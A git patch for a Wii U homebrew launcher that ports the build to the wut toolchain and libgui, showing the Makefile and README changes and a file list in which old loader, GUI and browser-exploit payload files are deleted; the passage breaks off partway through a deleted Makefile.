From e8ec73c79f8f8532df50e8960271e9e223bd4e5d Mon Sep 17 00:00:00 2001 From: orboditilt <45944072+orboditilt@users.noreply.github.com> Date: Thu, 15 Aug 2019 10:53:52 +0200 Subject: [PATCH] Compatible with latest wut, eemove ELF-Loading, use rpx-redirections for loading, use libgui --- .gitignore | 3 + Makefile | 281 +- README.md | 7 +- sd_loader/Makefile | 179 -- sd_loader/src/elf_abi.h | 591 ---- sd_loader/src/entry.c | 661 ---- sd_loader/src/fs_defs.h | 62 - sd_loader/src/kernel_defs.h | 75 - sd_loader/src/kernel_hooks.S | 69 - sd_loader/src/link.ld | 23 - sd_loader/src/loader_defs.h | 38 - src/Application.cpp | 145 +- src/Application.h | 5 +- src/common/common.h | 2 + src/common/gx2_ext.h | 177 -- src/common/os_defs.h | 6 +- src/common/types.h | 7 - src/dynamic_libs/ax_functions.c | 112 - src/dynamic_libs/ax_functions.h | 40 - src/dynamic_libs/exports.h | 26 - src/dynamic_libs/padscore_functions.c | 50 - src/dynamic_libs/padscore_functions.h | 122 - src/entry.c | 3 +- src/fs/CFile.cpp | 234 +- src/fs/CFile.hpp | 80 +- src/fs/DirList.cpp | 266 +- src/fs/DirList.h | 122 +- src/fs/FSUtils.cpp | 142 + src/fs/FSUtils.h | 16 + src/fs/fs_utils.c | 182 -- src/fs/fs_utils.h | 23 - src/gui/FreeTypeGX.cpp | 608 ---- src/gui/FreeTypeGX.h | 154 - src/gui/Gui.h | 30 - src/gui/GuiButton.cpp | 290 -- src/gui/GuiButton.h | 117 - src/gui/GuiController.h | 78 - src/gui/GuiElement.cpp | 342 --- src/gui/GuiElement.h | 517 ---- src/gui/GuiFrame.cpp | 267 -- src/gui/GuiFrame.h | 107 - src/gui/GuiImage.cpp | 289 -- src/gui/GuiImage.h | 110 - src/gui/GuiImageAsync.cpp | 172 -- src/gui/GuiImageAsync.h | 57 - src/gui/GuiImageData.cpp | 209 -- src/gui/GuiImageData.h | 68 - src/gui/GuiParticleImage.cpp | 128 - src/gui/GuiParticleImage.h | 45 - src/gui/GuiSound.cpp | 192 -- src/gui/GuiSound.h | 60 - src/gui/GuiText.cpp | 615 ---- src/gui/GuiText.h | 142 - src/gui/GuiTrigger.cpp | 174 -- src/gui/GuiTrigger.h | 100 - src/gui/VPadController.h | 62 - src/gui/WPadController.h | 179 -- src/gui/sigslot.h | 2731 ----------------- src/kernel/elf_abi.h | 591 ---- src/kernel/gx2sploit.c | 412 --- src/kernel/gx2sploit.h | 14 - src/kernel/gx2sploit_asm.S | 37 - src/main.cpp | 22 +- src/main.h | 2 +- src/menu/HomebrewLaunchWindow.cpp | 33 +- src/menu/HomebrewLaunchWindow.h | 6 +- src/menu/HomebrewLoader.cpp | 149 +- src/menu/HomebrewLoader.h | 24 +- src/menu/HomebrewMemory.cpp | 85 - src/menu/HomebrewMemory.h | 7 - src/menu/HomebrewWindow.cpp | 111 +- src/menu/HomebrewWindow.h | 10 +- src/menu/MainWindow.cpp | 120 +- src/menu/MainWindow.h | 45 +- src/menu/ProgressWindow.cpp | 42 +- src/menu/ProgressWindow.h | 5 +- src/menu/TcpReceiver.cpp | 185 +- src/menu/TcpReceiver.h | 17 +- src/resources/Resources.cpp | 157 +- src/resources/Resources.h | 9 +- src/sounds/BufferCircle.cpp | 143 - src/sounds/BufferCircle.hpp | 86 - src/sounds/Mp3Decoder.cpp | 217 -- src/sounds/Mp3Decoder.hpp | 47 - src/sounds/OggDecoder.cpp | 137 - src/sounds/OggDecoder.hpp | 43 - src/sounds/SoundDecoder.cpp | 224 -- src/sounds/SoundDecoder.hpp | 105 - src/sounds/SoundHandler.cpp | 358 --- src/sounds/SoundHandler.hpp | 78 - src/sounds/Voice.h | 164 - src/sounds/WavDecoder.cpp | 154 - src/sounds/WavDecoder.hpp | 71 - src/system/AsyncDeleter.cpp | 26 +- src/system/AsyncDeleter.h | 12 +- src/system/CMutex.h | 6 +- src/system/CThread.h | 177 +- src/system/exception_handler.c | 175 +- src/system/memory.c | 49 +- src/system/memory_area_table.c | 397 --- src/system/memory_area_table.h | 34 - src/utils/HomebrewXML.cpp | 190 +- src/utils/HomebrewXML.h | 51 +- src/utils/StringTools.cpp | 260 +- src/utils/StringTools.h | 74 +- src/utils/logger.c | 90 +- src/utils/logger.h | 36 +- src/utils/net.c | 6 +- src/utils/tinyxml.cpp | 2498 +++++++-------- src/utils/tinyxml.h | 2613 +++++++++------- src/utils/tinyxmlerror.cpp | 35 +- src/utils/tinyxmlparser.cpp | 2487 +++++++-------- src/utils/utils.c | 54 +- src/utils/utils.h | 30 +- src/video/CVideo.cpp | 264 -- src/video/CVideo.h | 206 -- src/video/shaders/ColorShader.cpp | 167 - src/video/shaders/ColorShader.h | 100 - src/video/shaders/FXAAShader.cpp | 230 -- src/video/shaders/FXAAShader.h | 86 - src/video/shaders/FetchShader.h | 58 - src/video/shaders/PixelShader.h | 150 - src/video/shaders/Shader.h | 83 - src/video/shaders/Shader3D.cpp | 266 -- src/video/shaders/Shader3D.h | 119 - src/video/shaders/Texture2DShader.cpp | 271 -- src/video/shaders/Texture2DShader.h | 112 - src/video/shaders/VertexShader.h | 178 -- www/homebrew_launcher/code300.bin | Bin 13652 -> 0 bytes www/homebrew_launcher/code310.bin | Bin 13652 -> 0 bytes www/homebrew_launcher/code400.bin | Bin 13656 -> 0 bytes www/homebrew_launcher/code410.bin | Bin 13676 -> 0 bytes www/homebrew_launcher/code500.bin | Bin 13676 -> 0 bytes www/homebrew_launcher/code532.bin | Bin 11728 -> 0 bytes www/homebrew_launcher/code550.bin | Bin 11728 -> 0 bytes www/homebrew_launcher/frame.html | 25 - www/homebrew_launcher/index.html | 118 - www/homebrew_launcher/payload.php | 166 - www/homebrew_launcher/payload300.html | 580 ---- www/homebrew_launcher/payload310.html | 580 ---- www/homebrew_launcher/payload400.html | 580 ---- www/homebrew_launcher/payload410.html | 580 ---- www/homebrew_launcher/payload500.html | 580 ---- www/homebrew_launcher/payload532.html | 649 ---- .../wiiu_browserhax_common.php | 440 --- www/homebrew_launcher/wiiuhaxx_common_cfg.php | 6 - www/homebrew_launcher/wiiuhaxx_loader.bin | Bin 76 -> 0 bytes .../wiiuhaxx_rop_sysver_532.php | 29 - .../wiiuhaxx_rop_sysver_550.php | 29 - 149 files changed, 5415 insertions(+), 26039 deletions(-) delete mode 100644 sd_loader/Makefile delete mode 100644 sd_loader/src/elf_abi.h delete mode 100644 sd_loader/src/entry.c delete mode 100644 sd_loader/src/fs_defs.h delete mode 100644 sd_loader/src/kernel_defs.h delete mode 100644 sd_loader/src/kernel_hooks.S delete mode 100644 sd_loader/src/link.ld delete mode 100644 sd_loader/src/loader_defs.h delete mode 100644 src/common/gx2_ext.h delete mode 100644 src/common/types.h delete mode 100644 src/dynamic_libs/ax_functions.c delete mode 100644 src/dynamic_libs/ax_functions.h delete mode 100644 src/dynamic_libs/exports.h delete mode 100644 src/dynamic_libs/padscore_functions.c delete mode 100644 src/dynamic_libs/padscore_functions.h create mode 100644 src/fs/FSUtils.cpp create mode 100644 src/fs/FSUtils.h delete mode 100644 src/fs/fs_utils.c delete mode 100644 src/fs/fs_utils.h delete mode 100755 src/gui/FreeTypeGX.cpp delete mode 100755 src/gui/FreeTypeGX.h delete mode 100644 src/gui/Gui.h delete mode 100644 src/gui/GuiButton.cpp delete mode 100644 src/gui/GuiButton.h delete mode 100644 src/gui/GuiController.h delete mode 100644 src/gui/GuiElement.cpp delete mode 100644 src/gui/GuiElement.h delete mode 100644 src/gui/GuiFrame.cpp delete mode 100644 src/gui/GuiFrame.h delete mode 100644 src/gui/GuiImage.cpp delete mode 100644 src/gui/GuiImage.h delete mode 100644 src/gui/GuiImageAsync.cpp delete mode 100644 src/gui/GuiImageAsync.h delete mode 100644 src/gui/GuiImageData.cpp delete mode 100644 src/gui/GuiImageData.h delete mode 100644 src/gui/GuiParticleImage.cpp delete mode 100644 src/gui/GuiParticleImage.h delete mode 100644 src/gui/GuiSound.cpp delete mode 100644 src/gui/GuiSound.h delete mode 100755 src/gui/GuiText.cpp delete mode 100755 src/gui/GuiText.h delete mode 100644 src/gui/GuiTrigger.cpp delete mode 100644 src/gui/GuiTrigger.h delete mode 100644 src/gui/VPadController.h delete mode 100644 src/gui/WPadController.h delete mode 100644 src/gui/sigslot.h delete mode 100644 src/kernel/elf_abi.h delete mode 100644 src/kernel/gx2sploit.c delete mode 100644 src/kernel/gx2sploit.h delete mode 100644 src/kernel/gx2sploit_asm.S delete mode 100644 src/menu/HomebrewMemory.cpp delete mode 100644 src/menu/HomebrewMemory.h delete mode 100644 src/sounds/BufferCircle.cpp delete mode 100644 src/sounds/BufferCircle.hpp delete mode 100644 src/sounds/Mp3Decoder.cpp delete mode 100644 src/sounds/Mp3Decoder.hpp delete mode 100644 src/sounds/OggDecoder.cpp delete mode 100644 src/sounds/OggDecoder.hpp delete mode 100644 src/sounds/SoundDecoder.cpp delete mode 100644 src/sounds/SoundDecoder.hpp delete mode 100644 src/sounds/SoundHandler.cpp delete mode 100644 src/sounds/SoundHandler.hpp delete mode 100644 src/sounds/Voice.h delete mode 100644 src/sounds/WavDecoder.cpp delete mode 100644 src/sounds/WavDecoder.hpp delete mode 100644 src/system/memory_area_table.c delete mode 100644 src/system/memory_area_table.h delete mode 100644 src/video/CVideo.cpp delete mode 100644 src/video/CVideo.h delete mode 100644 src/video/shaders/ColorShader.cpp delete mode 100644 src/video/shaders/ColorShader.h delete mode 100644 src/video/shaders/FXAAShader.cpp delete mode 100644 src/video/shaders/FXAAShader.h delete mode 100644 src/video/shaders/FetchShader.h delete mode 100644 src/video/shaders/PixelShader.h delete mode 100644 src/video/shaders/Shader.h delete mode 100644 src/video/shaders/Shader3D.cpp delete mode 100644 src/video/shaders/Shader3D.h delete mode 100644 src/video/shaders/Texture2DShader.cpp delete mode 100644 src/video/shaders/Texture2DShader.h delete mode 100644 src/video/shaders/VertexShader.h delete mode 100644 www/homebrew_launcher/code300.bin delete mode 100644 www/homebrew_launcher/code310.bin delete mode 100644 www/homebrew_launcher/code400.bin delete mode 100644 www/homebrew_launcher/code410.bin delete mode 100644 www/homebrew_launcher/code500.bin delete mode 100644 www/homebrew_launcher/code532.bin delete mode 100644 www/homebrew_launcher/code550.bin delete mode 100644 www/homebrew_launcher/frame.html delete mode 100644 www/homebrew_launcher/index.html delete mode 100644 www/homebrew_launcher/payload.php delete mode 100644 www/homebrew_launcher/payload300.html delete mode 100644 www/homebrew_launcher/payload310.html delete mode 100644 www/homebrew_launcher/payload400.html delete mode 100644 www/homebrew_launcher/payload410.html delete mode 100644 www/homebrew_launcher/payload500.html delete mode 100644 www/homebrew_launcher/payload532.html delete mode 100644 www/homebrew_launcher/wiiu_browserhax_common.php delete mode 100644 www/homebrew_launcher/wiiuhaxx_common_cfg.php delete mode 100644 www/homebrew_launcher/wiiuhaxx_loader.bin delete mode 100644 www/homebrew_launcher/wiiuhaxx_rop_sysver_532.php delete mode 100644 www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php diff --git a/.gitignore b/.gitignore index a2635ea..960474c 100644 --- a/.gitignore +++ b/.gitignore @@ -22,3 +22,6 @@ /NUSPacker.jar /fst.bin /channel/code/*.rpx +www/ +*.exe +*.cbp diff --git a/Makefile b/Makefile index 34f8baf..61ab374 100644 --- a/Makefile +++ b/Makefile @@ -1,259 +1,160 @@ -#--------------------------------------------------------------------------------- -# Clear the implicit built in rules -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- .SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") -endif +#------------------------------------------------------------------------------- + ifeq ($(strip $(DEVKITPRO)),) -$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") +$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=/devkitpro") endif -ifeq ($(strip $(WUT_ROOT)),) -$(error "Please ensure WUT_ROOT is in your environment.") -endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii -export PORTLIBS := $(DEVKITPRO)/portlibs/ppc -PREFIX := powerpc-eabi- +TOPDIR ?= $(CURDIR) -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy +include $(DEVKITPRO)/wut/share/wut_rules -export ELF2RPL := $(WUT_ROOT)/bin/elf2rpl - -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- # TARGET is the name of the output # BUILD is the directory where object files & intermediate files will be placed # SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -TARGET := homebrew_launcher +# DATA is a list of directories containing data files +# INCLUDES is a list of directories containing header files +#------------------------------------------------------------------------------- +TARGET := $(notdir $(CURDIR)) BUILD := build -BUILD_DBG := $(TARGET)_dbg SOURCES := src \ - src/dynamic_libs \ src/fs \ - src/game \ src/gui \ - src/kernel \ - src/loader \ src/menu \ - src/network \ - src/patcher \ src/resources \ - src/settings \ - src/sounds \ src/system \ - src/utils \ - src/video \ - src/video/shaders + src/utils DATA := data \ data/images \ - data/fonts \ - data/sounds + data/sounds \ + data/fonts +INCLUDES := src -INCLUDES := src - -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- # options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -T $(WUT_ROOT)/rules/rpl.ld -pie -fPIE -z common-page-size=64 -z max-page-size=64 -lcrt \ - -Wl,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size \ - -Wl,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r \ - -Wl,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,-wrap,__eabi -Wl,--gc-sections +#------------------------------------------------------------------------------- +CFLAGS := -g -Wall -O2 -ffunction-sections \ + $(MACHDEP) -#--------------------------------------------------------------------------------- -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lsysapp -lgd -lpng -lz -lfreetype -lmad -lvorbisidec +CFLAGS += $(INCLUDE) -D__WIIU__ -D__WUT__ -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/ \ - $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 \ - $(WUT_ROOT)/lib +CXXFLAGS := $(CFLAGS) -#--------------------------------------------------------------------------------- +ASFLAGS := -g $(ARCH) +LDFLAGS = -g $(ARCH) $(RPXSPECS) -Wl,-Map,$(notdir $*.map) + +LIBS := -lgui -lfreetype -lgd -lpng -ljpeg -lz -lmad -lvorbisidec -logg -lbz2 -lwut + +#------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level +# containing include and lib +#------------------------------------------------------------------------------- +LIBDIRS := $(PORTLIBS) $(WUT_ROOT) + + +#------------------------------------------------------------------------------- # no real need to edit anything past this point unless you need to add additional # rules for different file extensions -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) +#------------------------------------------------------------------------------- +FILELIST := $(shell bash ./filelist.sh) +export OUTPUT := $(CURDIR)/$(TARGET) +export TOPDIR := $(CURDIR) + export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) + export DEPSDIR := $(CURDIR)/$(BUILD) -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -FILELIST := $(shell bash ./filelist.sh) CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) -TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) -PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- # use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- ifeq ($(strip $(CPPFILES)),) +#------------------------------------------------------------------------------- export LD := $(CC) +#------------------------------------------------------------------------------- else +#------------------------------------------------------------------------------- export LD := $(CXX) +#------------------------------------------------------------------------------- endif +#------------------------------------------------------------------------------- -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) +export OFILES_BIN := $(addsuffix .o,$(BINFILES)) +export OFILES_SRC := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) +export OFILES := $(OFILES_BIN) $(OFILES_SRC) +export HFILES_BIN := $(addsuffix .h,$(subst .,_,$(BINFILES))) -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - -I$(CURDIR)/$(BUILD) -I$(WUT_ROOT)/include \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) -I$(PORTLIBS_PATH)/ppc/include/freetype2 -#--------------------------------------------------------------------------------- -# build a list of library paths -#--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install +.PHONY: $(BUILD) clean all + +#------------------------------------------------------------------------------- +all: $(BUILD) -#--------------------------------------------------------------------------------- $(BUILD): @[ -d $@ ] || mkdir -p $@ - @$(Q)$(MAKE) -C sd_loader @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile -#--------------------------------------------------------------------------------- -clean: clean_channel +#------------------------------------------------------------------------------- +clean: @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).rpx - @$(MAKE) -C sd_loader clean + @rm -fr $(BUILD) $(TARGET).rpx $(TARGET).elf -#--------------------------------------------------------------------------------- -install_channel: $(BUILD) NUSPacker.jar encryptKeyWith - @cp $(OUTPUT).rpx channel/code/ - java -jar NUSPacker.jar -in "channel" -out "install_channel" - -NUSPacker.jar: - wget https://bitbucket.org/timogus/nuspacker/downloads/NUSPacker.jar - -encryptKeyWith: - @echo "Missing common key file \"encryptKeyWith\"! Insert the common key as string into \"encryptKeyWith\" file in the HBL Makefile path!" - @exit 1 - -clean_channel: - @rm -fr install_channel NUSPacker.jar fst.bin output tmp - -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- else +.PHONY: all DEPENDS := $(OFILES:.o=.d) -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- # main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).rpx: $(OUTPUT).elf -$(OUTPUT).elf: $(OFILES) +#------------------------------------------------------------------------------- +all : $(OUTPUT).rpx -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) $^ $(LDFLAGS) -o $@ $(LIBPATHS) $(LIBS) -# $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ +$(OUTPUT).rpx : $(OUTPUT).elf +$(OUTPUT).elf : $(OFILES) -#--------------------------------------------------------------------------------- -%.rpx: %.elf -#--------------------------------------------------------------------------------- - @echo "[RPX] $(notdir $@)" - @$(ELF2RPL) $^ $@ +$(OFILES_SRC) : $(HFILES_BIN) -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp +#------------------------------------------------------------------------------- +# you need a rule like this for each extension you use as binary data +#------------------------------------------------------------------------------- +%.bin.o %_bin.h : %.bin @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) + @$(bin2o) -#--------------------------------------------------------------------------------- -%.o: %.c +%.png.o %_png.h : %.png @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S + @$(bin2o) + +%.ogg.o %_ogg.h : %.ogg @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.png.o : %.png + @$(bin2o) + +%.mp3.o %_mp3.h : %.mp3 @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.jpg.o : %.jpg + @$(bin2o) + +%.ttf.o %_ttf.h : %.ttf @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ttf.o : %.ttf - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.bin.o : %.bin - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.wav.o : %.wav - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.mp3.o : %.mp3 - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ogg.o : %.ogg - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) + @$(bin2o) + -include $(DEPENDS) -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- endif -#--------------------------------------------------------------------------------- +#------------------------------------------------------------------------------- diff --git a/README.md b/README.md index 2f9680a..f90b5e2 100644 --- a/README.md +++ b/README.md @@ -30,12 +30,9 @@ The apps that will be listed are should be in the following path /wiiu/apps/home #### Building the Homebrew Launcher -To build the main application devkitPPC is required as well as some additionally libraries. If not yet done export the path of devkitPPC and devkitPro to the evironment variables DEVKITPRO and DEVKITPPC. Additionally you will need to include the [portlibs](https://github.com/dimok789/homebrew_launcher/releases/download/v1.3/portlibs.zip) packages in your devkitPro path. +To build the main application devkitPPC is required as well as some additionally libraries. If not yet done export the path of devkitPPC and devkitPro to the evironment variables DEVKITPRO and DEVKITPPC. - -All remaining is to enter the main application path and enter "make". You should get a homebrew_launcher.elf and a homebrew__launcher_dbg.elf in the main path. - -To compile the installer application enter the "installer" path on the source code and type "make". +All remaining is to enter the main application path and enter "make". You should get a homebrew_launcher.rpx in the main path. #### Building an application / homebrew (ELF) for the Homebrew Launcher For an example on how to build an application for the HBL check out the [Hello World example](https://github.com/dimok789/hello_world) application or the port of the libwiiu application [Pong](https://github.com/dimok789/pong_port) for HBL. diff --git a/sd_loader/Makefile b/sd_loader/Makefile deleted file mode 100644 index 6367871..0000000 --- a/sd_loader/Makefile +++ /dev/null @@ -1,179 +0,0 @@ -#--------------------------------------------------------------------------------- -# Clear the implicit built in rules -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") -endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii -export PORTLIBS := $(DEVKITPRO)/portlibs/ppc - -PREFIX := powerpc-eabi- - -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -TARGET := sd_loader -BUILD := build -BUILD_DBG := $(TARGET)_dbg -SOURCES := src -DATA := -INCLUDES := - -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \ - -Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -Wl,--gc-sections - -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/lib \ - $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) -export DEPSDIR := $(CURDIR)/$(BUILD) - -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) -TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) -PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) - export LD := $(CC) -else - export LD := $(CXX) -endif - -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) - -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 - -#--------------------------------------------------------------------------------- -# build a list of library paths -#--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib - -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install - -#--------------------------------------------------------------------------------- -$(BUILD): - @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -#--------------------------------------------------------------------------------- -clean: - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).bin $(OUTPUT).h - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - 